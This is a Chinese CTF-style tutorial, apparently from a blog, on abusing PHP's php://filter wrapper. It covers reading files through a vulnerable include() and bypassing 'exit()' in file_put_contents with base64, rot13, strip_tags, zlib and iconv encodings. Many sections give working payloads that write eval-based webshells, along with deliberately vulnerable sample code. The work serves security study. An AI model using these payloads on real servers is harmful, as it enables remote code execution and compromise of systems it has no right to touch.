关于php://filter过滤器

常规的php://filter过滤器:

php://filter

在ctf比赛中最常使用的就是base64伪协议,再者就是iconv。

  1. 如用base64读取flag.php文件:php://filter/read=convert.base64-encode/resource=flag.php
  2. iconv编码转换读取:php://filter/convert.iconv.utf-8.ucs-4/resource=flag.php
php 复制代码
<?php
//index.php
include($_REQUEST['file']);
?>
php 复制代码
<?php
//flag.php
$flag='flag{test_flag}';
?>

同过base64读取flag.php的类容:

通过filter死亡绕过exit():

一般的3中形式:

https://xz.aliyun.com/t/8163

php 复制代码
file_put_contents($filename , "<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content."\nzangShuju");

第一种形式的file_put_contents

1、base64编码绕过

php 复制代码
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , "<?php exit();".$content);
?>

从代码可知,我们不论输入什么php的代码都会拼接到exit()后面,从而导致后面的任何语句都失效而无法执行。 而我们知道base64解码过程是按4个字符一起解码(对于不在base64编码类容里的那些特殊字符会自动忽略)。所有我们可以使用base64-decode来绕过。

比如我想插入的代码为<?php phpinfo()?>,经过base64编码后的类容为PD9waHAgcGhwaW5mbygpPz4=。

所有最终的payload就为:

php 复制代码
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgcGhwaW5mbygpPz4=

其中在最前方加了一个a,因为phpexit为7个字符,为了满足4的倍数让base64正常解码,所有加了一个a。

成功写入 。

2、rot13编码绕过

我们都知道rot13其实就是位移13位的凯撒密码,如<?php phpinfo()?>经过rot13后变为<?cuc cucvasb()?>,所有我们可以利用这种性质来绕过exit()。

php 复制代码
?filename=php://filter/string.rot13/resource=1.php&content=<?cuc cucvasb()?>

也是成功写入,能够运行。

3、string.strip_tags绕过

string.strip_tags能过过滤掉html标签<>及类容:

php 复制代码
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php&content=?>PD9waHAgcGhwaW5mbygpPz4=

?>是为了闭合前面<,从而形成<>

注意:string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器

4、.htaccess预包含绕过

如果对方服务是运行在apache上,而不是php直接启动web服务,就可以运用此方法。

php 复制代码
filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file flag.php

5、过滤器叠加绕过

由于在php7等环境无法使用string.strip_tags过滤器,我们则可以考虑使用过滤器进行叠加,使本来的功能性代码被破坏。

php 复制代码
三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误,将我们的木马写入

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=shell.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate?><?php%0a@eval($_POST['cmd']);?>

其中%0a还可以用%0d,%09等字符替换。

第二种形式的file_put_contents

1、rot13绕过

php 复制代码
<?php
$filename="php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php

<?cuc cucvasb();?>为<?php phpinfo();?>

2、iconv编码绕过

利用iconv编码绕过,可以将一种编码变为另一种编码模式,在php中,iconv用法为:

iconv ( string in_charset , string out_charset , string $str ) : string

1、usc-2(对目标字符串进行2位一反转,需要偶数位)
php 复制代码
<?php
echo iconv('UCS-2LE','UCS-2BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//>??<hp pe@av(l_$OPTS"[hslecldm]";)>?
$filename="php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_\$OPTS\"[hslecldm]\";)>?/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_$OPTS"[hslecldm]";)>?/resource=shell.php
2、usc-4(4位一反转,需要为4的倍数)
php 复制代码
<?php
echo iconv('UCS-4LE','UCS-4BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)
$filename="php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs\"[clle]\"dm>?;)/resource=shellcmd.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)/resource=shellcmd.php

注意:在使用usc-2和usc-4时切记他们的倍数关系,不然会保存失败。

3、base64编码
php 复制代码
<?php

$filename="php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

如果直接按照这样编写,只会有文件名,但没有类容,因为在写入的内容中为:

<?php exit();php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php

其中有一个等号,会发生报错,因为在base64中=表示结束的意思。

使用string.strip_tags过滤器,用其特性过滤掉html标签,即,我们可以把=包含在<>标签里过滤掉。

php 复制代码
php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+

但这样依旧有一个问题,就是保存的文件在服务器端会有一个'',导致游览器无法访问。

php 复制代码
最终payload:

php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/../cmd.php

这样就会把内容保存在cmd.php文件中。

4、utf-8和utf-7间的转换
php 复制代码
<?php
//echo iconv('UTF-8','UTF-7','=').'\n';
//生成的是+AD0-,可以将=号对base64解码造成的影响解决,在'='的后面是不允许有任何其他字符的否则会报错.

echo base64_encode('<?php @eval($_POST["shellcmd"]);?>')."\n";
//PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==
$filename="php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);


echo iconv('UTF-8','UTF-7','<?php exit();php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php');
//+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg+AD0APQB8-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php

//其中+ADw?php exit()+ADs-php://filter/write+AD0-  刚好满足base64的倍数
?>

payload:

php 复制代码
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

第三种形式的file_put_contents

filter-chain:

随意构造字符串

filter侧信道攻击:

相关推荐
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo4 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack5 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
feifeigo1235 天前
matlab画图工具
开发语言·matlab
dustcell.5 天前
haproxy七层代理
java·开发语言·前端